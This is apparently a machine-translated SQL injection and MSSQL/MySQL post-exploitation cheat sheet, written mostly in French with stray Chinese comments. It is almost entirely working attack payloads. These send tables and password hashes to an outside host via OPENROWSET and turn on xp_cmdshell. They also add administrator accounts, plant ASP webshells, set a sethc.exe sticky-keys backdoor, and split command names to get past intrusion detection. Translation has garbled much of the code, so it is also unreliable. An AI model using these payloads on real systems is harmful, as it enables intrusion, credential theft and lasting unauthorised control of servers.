select * depuis user_blank>_database.dbo.syscolumns
Répliquer _blank> base de données :
insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select

* à partir du tableau 1) sélectionner * depuis la base de données... Table1
insérer dans OPENROWSET(SQLOLEDB,uid=sa ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,select

* à partir du tableau2) sélectionner * depuis la base de données... Tableau2

Le hachage du mot de passe qui copie la connexion _blank> mot de passe de la table de hachage (HASH) est stocké dans les sysxlogins. Voici comment :
insérer dans OPENROWSET(SQLOLEDB,

UID=SA ; PWD=123 ; Network=DBMSSOCN ; Adresse = 192.168.0.1,1433 ; ,sélectionner * de _blank>_sysxlogins)

select * from database.dbo.sysxlogins
Une fois que vous avez le hash, vous pouvez le forcer par la force.

Pour parcourir le répertoire : Commencez, créez une table temporaire : temp
; crée la température de table (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255),num3 nvarchar(255)) ; –
; insérer le master.dbo.xp_blank>_availablemedia exécutif temporaire ; – Récupérer tous les disques courants
; insérer dans l’exécutif temp(id) master.dbo.xp_blank>_subdirs c :\ ; – Obtenir une liste de sous-répertoires
; insérer dans temp(id,num1) exec master.dbo.xp_blank>_dirtree c :\ ; – Obtenir la structure arborescente des répertoires pour tous les sous-répertoires,

Fusionner les pouces dans la table de température
; Insérer dans l’exécutif temp(id) master.dbo.xp_blank>_cmdshell Type C :\web\index.asp ; – Voir un fichier

Contenu
; insérer dans temp(id) exec master.dbo.xp_blank>_cmdshell dir. c :\ ; –
; insérer dans temp(id) exec master.dbo.xp_blank>_cmdshell dir c :\ *.asp /s/a ; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C :\Inetpub\Adminscrip{filter}ts

\adsutil.vbs ENUM W3SVC
; insérer dans temp(id,num1) exec master.dbo.xp_blank>_dirtree c :\ ; – (xp_blank>_dirtree Autorité applicable

PUBLIC)
Écrivez à la table :
déclaration 1 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(sysadmin)) ; –
Déclaration 2 : et 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)) ; –
Déclaration 3 : et 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)) ; –
Déclaration 4 : et 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)) ; –
Déclaration 5 : et 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)) ; –
Déclaration 6 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(diskadmin)) ; –
Déclaration 7 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(bulkadmin)) ; –
Déclaration 8 : et 1=(Sélectionner IS_blank>_SRVROLEMEMBER(bulkadmin)) ; –
Énoncé 9 : et 1=(Sélectionner IS_blank>_MEMBER(db_blank>_owner)) ; –

Écrivez le chemin jusqu’à la table :
; Create Table dirs(paths varchar(100), id int)–
; insérer dirs exécutif master.dbo.xp_blank>_dirtree c :\–
et 0<>(sélectionne les chemins du top 1 à partir de dirs)–
et 0<>(sélectionner les chemins top 1 à partir des dirs où les chemins ne sont pas dans (@Inetpub))–
; Create Table dirs1(paths varchar(100), id int)–
; insérer dirs exécutif master.dbo.xp_blank>_dirtree e :\web–
et 0<>(sélectionne les chemins top 1 de dirs1)–

Sauvegardez _blank> base de données dans un annuaire web : Télécharger
; déclarer @a nom système ; ensemble @a=db_blank>_name() ; sauvegarde de la base de données @a vers disque=e :\web\down.bak ; –

et 1=(Sélectionner le nom top 1 de(Sélectionner top 12 id,name from sysobjects où xtype=char(85)) T

Ordre par ID Desc)
et 1=(Sélectionner Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) à partir de sysobjects) Voir aussi

Tableaux associés.
et 1=(sélectionner user_blank>_id de USER_blank>_LOGIN)
et 0=(sélectionner l’utilisateur de USER_blank>_LOGIN où l’utilisateur>1)

-=- wscrip{filter}t.shell exemple -=-
déclare @o int
Exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exécutif sp_blank>_oamethod @o, run, NULL, notepad.exe
; déclare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

déclare @o int, @f int, @t int, @ret int
déclarer @line Varchar (8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, OpenTextFile, @f out, C :\boot.ini, 1
exécutif @ret = sp_blank>_oamethod @f, readline, @line out
tandis que ( @ret = 0 )
Début
Impression @line
exécutif @ret = sp_blank>_oamethod @f, readline, @line out
Fin

déclare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
Exec sp_blank>_oamethod @o, createtextfile, @f out, c :\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
< % set o = server.createobject(« wscrip{filter}t.shell ») : o.run( request.querystring(« cmd ») ) %>

déclarez @o int, @ret int
exécutif sp_blank>_oacreate speech.voicetext, @o terminé
exécutif sp_blank>_oamethod @o, register, NULL, foo, bar
sp_blank>_oasetproperty @o exécutif, vitesse, 150
exécutif sp_blank>_oamethod @o, parle, NULL, tous tes serveurs de suite appartiennent à, us, 528
attends un retard 00:00:05

; déclarez @o int, @ret exécutif d’sp_blank>_oacreate speech.voicetext, @o exécutif

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, parlez, NULL, tous vos serveurs de suite nous appartiennent, délai d’attente 528

00:00:05–

xp_blank>_dirtree l’autorisation PUBLIQUE applicable
exec master.dbo.xp_blank>_dirtree c : Les informations retournées comportent deux champs : sous-répertoire, profondeur. Champs de sous-répertoire

Type de caractère, le champ de profondeur est le champ de façonnage.
Create Table dirs (paths varchar(100), id int)
La construction de tables, la table créée ici est liée à la xp_blank>_dirtree ci-dessus, avec des champs égaux et du même type.
insérer dirs exécutif master.dbo.xp_blank>_dirtree c : Tant que nous construisons une table et définissons les champs retournés par le processus de stockage de manière égale

Exécutez ! Pour obtenir l’effet de la rédaction de tableaux, étape par étape pour obtenir les informations que nous voulons !
Cette injection d’erreurs est principalement basée sur le débordement des types de données Mysql
    mysql > SELECT 18446744073709551610 * 2 ;
    ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(- (1)*

9223372036854775808)'
Version de la base de données de requête :
    mysql> SELECT * 2 (si ((SELECT * from (SELECT (version ()) s), 18446744073709551610,

18446744073709551610));
    ERREUR 1690 (22003) : BIGINT VALEUR UNSIGNED est hors plage dans '(2 * if (( Select ' 5.5 ' from

Double), 18446744073709551610.18446744073709551610))'
Obtenez le nom du champ :
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) comme '' limite 1)>(SELECT * from

test.shop limite 1), 18446744073709551610, 18446744073709551610) ;

    ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(2 * if(((select

'article', 'revendeur', 'prix' (sélectionnez 'test'.'shop'.'article' AS

'article', 'test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' de

'test'.'shop') limite 1) > (select

'test'.'boutique'.'article','test'.'boutique'.'dealer','test'.'boutique'.'prix' de 'test'.'shop limite'

1)),18446744073709551610,18446744073709551610))'
Obtenez la valeur du champ :

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) comme '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors plage dans '(2 * if(((select

'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', '

Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '', '', À PARTIR DE LA DOUBLE LIMITE 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Notez que cette méthode ne fonctionne pas avec les anciennes versions de Mysql, et vous devrez connaître la limite de longueur du message d’erreur, car cela déterminera

Vous pouvez obtenir autant de temps que vous voulez :
    mysys / my_error.c

    /* Longueur maximale d’un message d’erreur. Doit être synchronisé avec MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Si l’objet est MariaDB (un fork de Mysql), vous pouvez voir un message d’erreur similaire lorsque vous essayez la méthode ci-dessus :

    mysql> SELECT 2*(if((SELECT * from (SELECT (version())))), 18446744073709551610,

18446744073709551610))
    ERREUR 1690 (22003) : La valeur BIGINT UNSIGNED est hors de portée dans '(2 * if((select

#),18446744073709551610,18446744073709551610))'

En solution, ce problème peut être résolu de la manière suivante :

    mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a ;
    ERREUR 1690 (22003) : La valeur BIGINT est hors de portée dans '(('5.5-MariaDB' n’est pas nulle) - -

(9223372036854775808))'
Voyons maintenant si nous pouvons raccourcir un peu notre Vector

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version())))), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (I IS NOT NULL) - -9223372036854775808 DEPUIS (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) comme '' limite 1)>(SELECT * from

test.shop limite 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*frommysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) comme '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.limite d’utilisateurs 0),2,2)
//获取指定字段的值
    select 1E308*if((select user|| hôte|| mot de passe|| file_priv from(select*from mysql.user LIMIT

1) une limite 1),2,2)
//获取字段个数


    sélectionnez 1E308*if((sélectionne*depuis mysql.User limite 1)>(sélectionnez 1),2,2)



Quelques autres déformations

    SELECT (I IS NOT NULL) - -9223372036854775808 DEPUIS (SELECT (version())i)a
    select 1E308*if((select user|| hôte|| mot de passe|| file_priv from(select*from mysql.user LIMIT

1) une limite 1),2,2) ;
    =>
    sélectionne 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0) ;
    mysql> sélectionner (sélectionner * depuis mysql.user)=1 ;
    mysql> sélectionner (sélectionner * depuis mysql.user)in(1) ;

    ERREUR 1241 (21000) : L’opérande doit contenir 42(s) colonne(s)
    sélectionne 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0) ;
    select if((select user|| hôte|| mot de passe|| file_priv from(select*from mysql.user LIMIT 1)a

limite 1),2,2)*1E308
    SELECT (I IS NOT NULL) - -9223372036854775808 DEPUIS (SELECT (version())i)a
    select (x !=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select !x-~0.FROM(select+user()x)f ;
    ERREUR 1690 (22003) : la valeur BIGINT UNSIGNED est hors de portée dans '((not('root@localhost')) - ~

(0))'
3. Juger le système de base de données
; et (select count(*) from sysobjects)>0 mssql
; et (select count(*) depuis msysobjects)>0 accès
4. Le paramètre d’injection est un caractère
« et [critères de requête] et « = »
5. Il n’y a pas de paramètres filtrés pendant la recherche
« et [critères de requête] et « %25 »= »
6. Devinez la base de données
; et (sélectionnez Compte(*) depuis [nom de la base de données])>0
7. Devinez le champ
; et (sélectionner Count(nom du champ) à partir du nom de la base de données)>0
8. Devine la longueur du disque sur le terrain
; et (sélectionner le 1 meilleur LEN (nom du champ) à partir du nom de la base de données)>0
9. (1) Deviner la valeur ASCII du champ (accès)
; et (sélectionner le top 1 ASC(milieu (nom du terrain, 1,1)) à partir du nom de la base de données)>0
(2) Deviner la valeur ASCII du champ (mssql)
; et (sélectionner top 1 unicode(sous-string(nom du champ, 1,1)) du nom de la base de données)>0
10. Structure de permission de test (mssql)
; et 1=(sélectionner IS_SRVROLEMEMBER('sysadmin')) ; --
; et 1=(sélectionner IS_SRVROLEMEMBER('serveradmin')) ; --
; et 1=(sélectionner IS_SRVROLEMEMBER('setupadmin')) ; --
; et 1=(sélectionner IS_SRVROLEMEMBER('securityadmin')) ; --
; et 1=(sélectionner IS_SRVROLEMEMBER('diskadmin')) ; --
; et 1=(sélectionner IS_SRVROLEMEMBER('bulkadmin')) ; --
; et 1=(sélectionner IS_MEMBER('db_owner')) ; --
11. Ajouter un compte pour mssql et le système
; Exécutif master.dbo.sp_addlogin nom d’utilisateur ; --
; exécutif master.dbo.sp_password null, nom d’utilisateur, mot de passe ; --
; le nom d’utilisateur administrateur système master.dbo.sp_addsrvrolemember exécutif ; --
; exécutif master.dbo.xp_cmdshell 'Nom d’utilisateur net mot de passe /workstations :* /times :all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exécutif master.dbo.xp_cmdshell « nom d’utilisateur net mot de passe /add » ; --
; exec master.dbo.xp_cmdshell 'Net Localgroup Administrators username /add » ; --
12. (1) Parcourez le catalogue
; Create Table dirs (paths varchar(100), id int)
; Insérer les directions exécutives master.dbo.xp_dirtree 'C :\'
; et (sélectionner les chemins top 1 des dirs)>0
; et (sélectionnez les chemins top 1 à partir des dirs où les chemins non inclus ('chemins obtenus à partir de l’étape précédente')))>)
(2) Parcourir le catalogue
; crée la température de table (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255),num3 nvarchar(255)) ; --
; insérer le master.dbo.xp_availablemedia exécutif temporaire ; -- Récupérer tous les disques courants
; insérer dans temp(id) exec master.dbo.xp_subdirs 'c :\' ; -- Obtenir une liste des sous-répertoires
; insérer dans temp(id,num1) exécutif master.dbo.xp_dirtree 'c :\' ; -- Obtenir la structure de l’arbre de répertoires pour tous les sous-répertoires
; insérer dans temp(id) exec master.dbo.xp_cmdshell 'type c :\web\index.asp' ; -- Voir le contenu du fichier
13. Procédures stockées dans mssql
xp_regenumvalues Clé racine du registre, clé enfant
; exécutif xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' et plus encore

méthode du réseau d’enregistrements pour retourner toutes les valeurs clés
xp_regread Clé racine, clé enfant, nom clé-valeur
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' renvoie la valeur de la clé de formulation
xp_regwrite Clé root, clé enfant, nom de valeur, type de valeur, valeur
Il existe deux types de valeurs REG_SZ REG_DWORD pour les types de caractères et pour les entiers
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sont écrits dans le registre
xp_regdeletevalue Clé racine, sous-clé, nom de valeur
exécutif xp_regdeletevalue 'HKEY_LOCAL_MACHINE','LOGICIEL\Microsoft\Windows

\CurrentVersion', 'TestvalueName' pour supprimer une valeur
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' clé supprimer,

Incluez toutes les valeurs sous cette clé
14. La sauvegarde mssql crée un webshell
Modèle d’utilisation
créer un tableau cmd (image STR) ;
insérer dans cmd(str) les valeurs ('< % Dim oscrip{filter}t %>') ;
sauvegarde du modèle de base de données sur disque='c :\l.asp' ;
15. Fonctions intégrées MSSQL
; et (sélectionnez @@version)>0 pour obtenir le numéro de version de Windows
; et user_name()='dbo' pour déterminer si l’utilisateur connecté du système actuel est SA
; et (sélectionner user_name())>0 A fait exploser les utilisateurs connectés du système actuel
; et (sélectionnez db_name())>0 pour obtenir la base de données actuellement connectée
16. Webshell concis
Modèle d’utilisation
créer un tableau cmd (image STR) ;
insérer dans cmd(str) valeurs ('< %=server.createobject(« wscrip{filter}t.shell »).exec(« cmd.exe /c

« &request(« c »)).stdout.readall %>') ;
sauvegarde du modèle de base de données sur disque='g :\wwwtest\l.asp' ;
Lorsque vous demandez, utilisez quelque chose comme ceci :
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Obtenez tous les noms de bases de données, y compris les bases de données système
–SELECT le nom FROM master.dbo.sysdatabases

Obtenir tous les noms de bases de données non système
–sélectionnez [nom] dans master.dbo.sysdatabases où DBId>6 ordonne par [nom]

Obtenez toutes les informations, y compris l’adresse du fichier de la base de données
–select * à partir de master.dbo.sysdatabases où DBId>6 ordonne par

[Nom]



Cette requête de l’instruction renvoie toutes les tables utilisateur

sélectionner * à partir de sysobjects où xtype='u'


Interrogez toutes les informations de la table de données dans le système

sélectionner * à partir de sysobjects



Regarde le nom de la machine
select * depuis sys.servers





Table des matières des colonnes
exécutif master.dbo.xp_subdirs 'C :\'


exécutif master.dbo.xp_dirtree 'c :',1,1 db_owner
Les autorisations peuvent être appliquées


exécutif master.dbo.xp_dirtree 'c :/Program Files',1,1





Code de programme, écrit sur webshell


master.dbo.xp_subdirs exécutif 'd :\web\www.xx.com' ;
Le sp_makewebtask exécutif :

\web\www.XXXX.com\XX.asp','select"< %execute(request(« SB ») %> »






exécute maître... xp_enumgroups  


Utilisateurs du système Traverse


exécute maître... xp_getnetname
Obtenez le nom actuel de la machine


--Listez les disques fixes sur le serveur, ainsi que l’espace disponible pour chaque disque
   dbo public


exécuter

xp_ntsec_enumdomains


--
Créez un compte pour vous connecter à MSSQL
master.dbo.sp_addlogin exécutif nom, Pass ; --






--
Listez le nom de domaine serveur
xp_ntsec_enumdomains //
Nom de machine //dbo public


--
Arrêter ou lancer un service
xp_servicecontrol 'stop', 'schedule' //schedule est le nom du service //dbo


--Utiliser le pid

Arrêter un programme en cours d’exécution
xp_terminate_process 123 //123 est le pid //dbo


--
Seuls les sous-répertoires d’un annuaire sont listés
dbo.xp_subdirs 'C :' //dbo


SQL Server
La méthode d’ouverture de la xp_cmdshell en 2005
EXEC sp_configure « montrer les options avancées », 1 ; RECONFIGURER ; EXÉCUTIF

sp_configure « xp_cmdshell », 1 ; RECONFIGURER ;

SQL2005 Ouvrir « OPENROWSET »
Méthodes prises en charge :
exécutif sp_configure « montrer les options avancées », 1 ; RECONFIGURER ; exécutif sp_configure 'Ad Hoc

requêtes distribuées », 1 ; RECONFIGURER ;

SQL2005 pour permettre un support « sp_oacreate » :
exécutif sp_configure « montrer les options avancées », 1 ; RECONFIGURER ; Exécutif

sp_configure « Procédures d’automatisation anciennes », 1 ; RECONFIGURER





Comment activer xp_cmdshell dans SQL Server 2008


-- Permettre la modification des options avancées.
EXÉCUTIF

sp_configure « afficher les options avancées », 1
GO
-- Pour mettre à jour la valeur actuellement configurée pour

Options avancées.
RECONFIGURER
GO
-- Pour activer la fonctionnalité.
EXÉCUTIF sp_configure 'xp_cmdshell', 1
GO
--À

Mettez à jour la valeur actuellement configurée pour cette fonctionnalité.
RECONFIGURER
GO


exécutif xp_cmdshell 'ipconfig'



Aujourd’hui, je voulais changer le mot de passe de connexion SA du serveur de base de données, mais j’ai soudainement oublié, alors j’ai dû ouvrir l’analyseur de requêtes avec l’aide d’autres comptes pour changer le mot de passe SA

C’est très simple :


Exécution :
sp_password Null, 'teracypwd', 'sa'
Définir le mot de passe SA sur « teracypwd »


Après une exécution réussie

Il y a « Commandement(s) accompli(s) avec succès ».  D’ACCORD!








Dans la permission de la base de données, séparez la méthode d’obtention de l’IP du serveur de base de données MSSQL


1. Le NC local écoute NC - VVLP 80


2.; insérer dans

OPENROWSET('SQLOLEDB','uid=sa ; pwd=xxx ; Network=DBMSSOCN ; Adresse = votre adresse IP, 80 ; ', 'sélectionner * depuis

dest_table') sélectionner * dans src_table ; --


select * depuis openrowset

('sqloledb','server=125.110.145.130,6789 ; UID=SA ; pwd=zhu','sélectionner l’utilisateur ; ')





Importation et exportation de bases de données

/*不同服务器数据库之间的数据操作*/

--Créer un serveur de lien
sp_addlinkedserver exécutif   

'ITSV', 'SQLOLEDB', 'Nom ou adresse IP du serveur distant'
exécutif sp_addlinkedsrvlogin 'ITSV', 'faux

',nulle, 'nom d’utilisateur', 'mot de passe'

--exemple de requête
select * from ITSV.database name.dbo.table name

--exemple d’importation
sélectionner *

dans la table depuis ITSV.databasename.dbo.tablename

--Supprimez le serveur lié s’il n’est plus utilisé à l’avenir
exécutif sp_dropserver 'ITSV',

« droplogins »

--
Connexion à des données distantes/LAN (openrowset/openquery/opendatasource)
--1、OpenrowSet

--exemple de requête
sélectionner *

from openrowset( 'SQLOLEDB', 'SQL Server Name' ; « Nom d’utilisateur » ; 'mot de passe', nom de la base de données.dbo.nom de table)

--
Générer une table locale
select * into table from openrowset( 'SQLOLEDB', 'SQL Server Name' ; « Nom d’utilisateur » ; « Mot de passe », numéro

Selon le nom de la base de données.dbo. nom de tableau)

--
Importez la table locale dans la table distante
insérer openrowset( 'SQLOLEDB', 'nom du serveur SQL' ; « Nom d’utilisateur » ; « Mots de passe », bases de données

nom.dbo.nom de la table)
sélectionner *depuis le tableau local

--
Mettre à jour les tables locales
Mise à jour B
Définit b. colonne A = a
from openrowset( 'SQLOLEDB', 'SQL Server Name' ; « Nom d’utilisateur » ; '

mot de passe ', nom de la base de données .dbo.nom de table) comme table locale de jointure interne B
sur a.colonne1=b.colonne1

--openquery
L’utilisation nécessite de créer une connexion

--D’abord, créer une connexion pour créer un serveur de liaison
exécutif sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'nom ou adresse IP du serveur distant'
--Renseignez-vous
sélectionner *
FROM OpenQuery(ITSV, 'SELECT * FROM données

nom library.dbo.table ')
--
Importez la table locale dans la table distante
insérer openquery(ITSV, 'SELECT * FROM database.dbo.table name')
sélectionner * depuis le local

tableau
--mise à jour du tableau local
Mise à jour B
Ensemble b. colonne B=a
DEPUIS openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

en tant que  
Joint interne table locale b sur a. colonne A=b. colonne A

--3、OpenDataSource/OpenRowSet
SELECT *
DE   

opendatasource( 'SQLOLEDB', 'Data Source=ip/NomServeur ; ID utilisateur = Nom de connexion ; Mot de passe = Mot de passe '

).test.dbo.roy_ta
--
Importez la table locale dans la table distante



Suppression et restauration de xp_cmdshell


Moyens de récupérer xp_cmdshell   
Supprimez la procédure stockée étendue xp_cmdshell

Énoncé   
sp_dropextendedproc exécutif « xp_cmdshell »   



Récupérer l’instruction sql de cmdshell   
exécutif sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


Exécutif

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' ; Select Count(*) à partir de

master.dbo.sysobjects où xtype='x' et   
Le résultat de retour est 1 et c’est correct   


Sinon, il faut télécharger c :\inetput\web

\xplog70.dll plus tard   
exécutif master.dbo.sp_addextendedproc 'xp_cmdshell', 'c :\inetput\web\xplog70.dll

’; --   



Si vous le supprimez de la manière suivante   
Procédure de chute sp_addextendedproc   
Procédure de chute sp_oacreate   
Exécutif

sp_dropextendedproc 'xp_cmdshell'   



Vous pouvez le restaurer avec la déclaration suivante   
DBCC AddExtendedProc (« sp_oacreate », « odsole70.dll »)   
DBCC

addextendedproc (« xp_cmdshell »,« xplog70.dll »)   

De cette manière, il peut être restauré directement, que sp_addextendedproc existe ou non






1、
Utilisez xp_cmdshell :
          Exécutif master.dbo.xp_cmdshell « administrateur administrateur utilisateur net / add »
          Exécutif

master.dbo.xp_cmdshell « administrateurs de groupe local net admin /add »

Dans xp_cmdshell cas, utilisez sp_oacreate pour suivre sp_oamethod :
          déclare @object int   
          Exécutif

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          sp_oamethod exécutif

@object,'Run',NULL,'admin utilisateur net admin /add'
          exec sp_oamethod @object, 'Run', NULL,'net

localgroup Admins admin /add'

Note : regsvr32 /s c :\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Utilisez sp_oacreate et FSO
          déclare @o int
          sp_oacreate exécutif

'scrip{filter}ting.filesystemobject', @o out
          exécutif sp_oamethod @o, 'copyfile',null,'c :\windows

\explorer.exe' ,'c :\windows\system32\sethc.exe' ;
          déclare @oo int
          Exécutif

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          sp_oamethod @oo exécutif,

'copyfile',null,'c :\windows\system32\sethc.exe' ,'c :\windows\system32\dllcache\sethc.exe' ;

Utilisez xp_regwrite (db_owner, redémarrage requis) :
          master.dbo.xp_regwrite exécutif

'hkey_local_machine', 'logiciel\microsoft\windows\currentversion\


run','eadd1','reg_sz','admin utilisateur net admin /add'
          master.dbo.xp_regwrite exécutif

'hkey_local_machine', 'logiciel\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrateurs admin /add'
5. Utiliser sp_add_job :
          Exécutif

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Utilisez les sp_delete_job exécutifs MSDB

nul, 'x'
          Exécutif sp_add_job 'X'
          sp_add_jobstep exécutif

Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add'
          sp_add_jobserver exécutif

Null, 'x', @@servername exécutif sp_start_job 'x'















Beaucoup de SA ont réussi dans de nombreuses machines directement en mode bac à sable, mais je ne l’ai jamais pratiqué et je ne connais pas le taux de réussite. Lorsque l’extension est retirée, d’abord

Restaurez le stockage en lecture et écriture dans le registre.
DBCC AddExtendedProc ('xp_regread','xpstar.dll')
DBCC addextendedproc

('xp_regwrite'','xpstar.dll')



Correction du mode protégé du bac à sable
Maître exécutif... xp_regwrite 'HKEY_LOCAL_MACHINE', 'LOGICIEL\Microsoft\Jet

\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0 ; --



Vérifiez si la valeur 'SandBoxMode' est passée à 0.


exécutif master.dbo.xp_regread 'HKEY_LOCAL_MACHINE''LOGICIEL

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Enfin, appelez le mode bac à sable
Select * from OpenRowSet('microsoft.jet.oledb.4.0',' ; database=C :\WINDOWS

\system32\ias\dnary.mdb','select shell(« cmd.exe /c net user user passwd /add »)')







Si le mode de protection bac à sable n’est pas « désactivé », une erreur est signalée :
          Serveur : Msg 7357, Niveau 16, État 2, Ligne 1

Échec de gérer l’objet « select shell (« cmd.exe /c net user user passwd /add ») ». OLE DB propose des programmes

La préface « microsoft.jet.oledb.4.0 » indique qu’il n’y a pas de colonnes dans l’objet.

Suivi d’erreurs OLE DB [Erreur non-interface : fournisseur OLE DB impossible de traiter l’objet, puisque l’objet

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

user passwd /add")']。


2、
Si le .mdb n’existe pas ou si le chemin d’entrée est incorrect
           Serveur : Msg 7399, Niveau 16, État 1, Ligne 1

Erreur du fournisseur OLE DB 'microsoft.jet.oledb.4.0'.
            [Message de retour du fournisseur OLE/DB :

Fichier 'C :\WINDOWS\system32\ias\dnary1.mdb' non trouvé. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize ::Initialize returned

0x80004005 : ]。


3. S’il y a plus d’espaces pendant le processus d’entrée, une erreur sera également signalée. Faites une attention particulière à cela, beaucoup de gens cherchent directement des articles en ligne

Collez-le dedans et exécutez-le.
          Serveur : Msg 7357, Niveau 16, État 2, Ligne 1
          Échec du traitement de l’objet 'select

shell(« cmd.exe /c net user user passwd /add »)'。
Le fournisseur OLE DB 'microsoft.jet.oledb.4.0' indique qu’il n’y a aucune colonne dans l’objet.

Suivi des erreurs OLE DB [Erreur non d’interface :
Fournisseur OLE DB incapable de traiter l’objet, puisque l’objet a

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Si les permissions mdb et cmd.exe permissions sont incorrectes, le problème surviendra également.
          Lorsque les permissions MDB sont incorrectes,
           Serveur : Éliminer

Intérêt 7320, Niveau 16, État 2, Ligne 1

Il ne pouvait pas répondre
Le fournisseur OLE DB 'Microsoft.Jet.OLEDB.4.0' exécute la requête.
           [Fournisseur OLE/DB retourné

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Si l’autorisation du net est incorrecte, il n’y a pas de requête.

La dernière façon d’accroître l’autorité est de télécharger les ias.mdb et cmd.exe du système sous le répertoire web actuel, net.exe trois fichiers.

Exécuter select * from openrowset('microsoft.jet.oledb.4.0',' ; database=E :\web\ias.mdb','select shell

(« E :\web\cmd.exe /c E :\web\net.exe utilisateur utilisateur passwd /add »)')
          Ajout réussi d’un utilisateur informatique.






La division cmdshell contourne IDS         
Déclare @a sysname set @a='xp_'+'cmdshell' exécutif @a 'ipconfig'
déclarer

@a sysname set @a='xp'+'_cm'+'dshell' exécutif @a 'dir c :\'





Modifier le shift de détournement du registre
Maître exécutif... xp_regwrite 'HKEY_LOCAL_MACHINE','LOGICIEL\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c :\windows

\system32\cmd.exe on' ; --



Interroger le serveur de liens
choisir

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

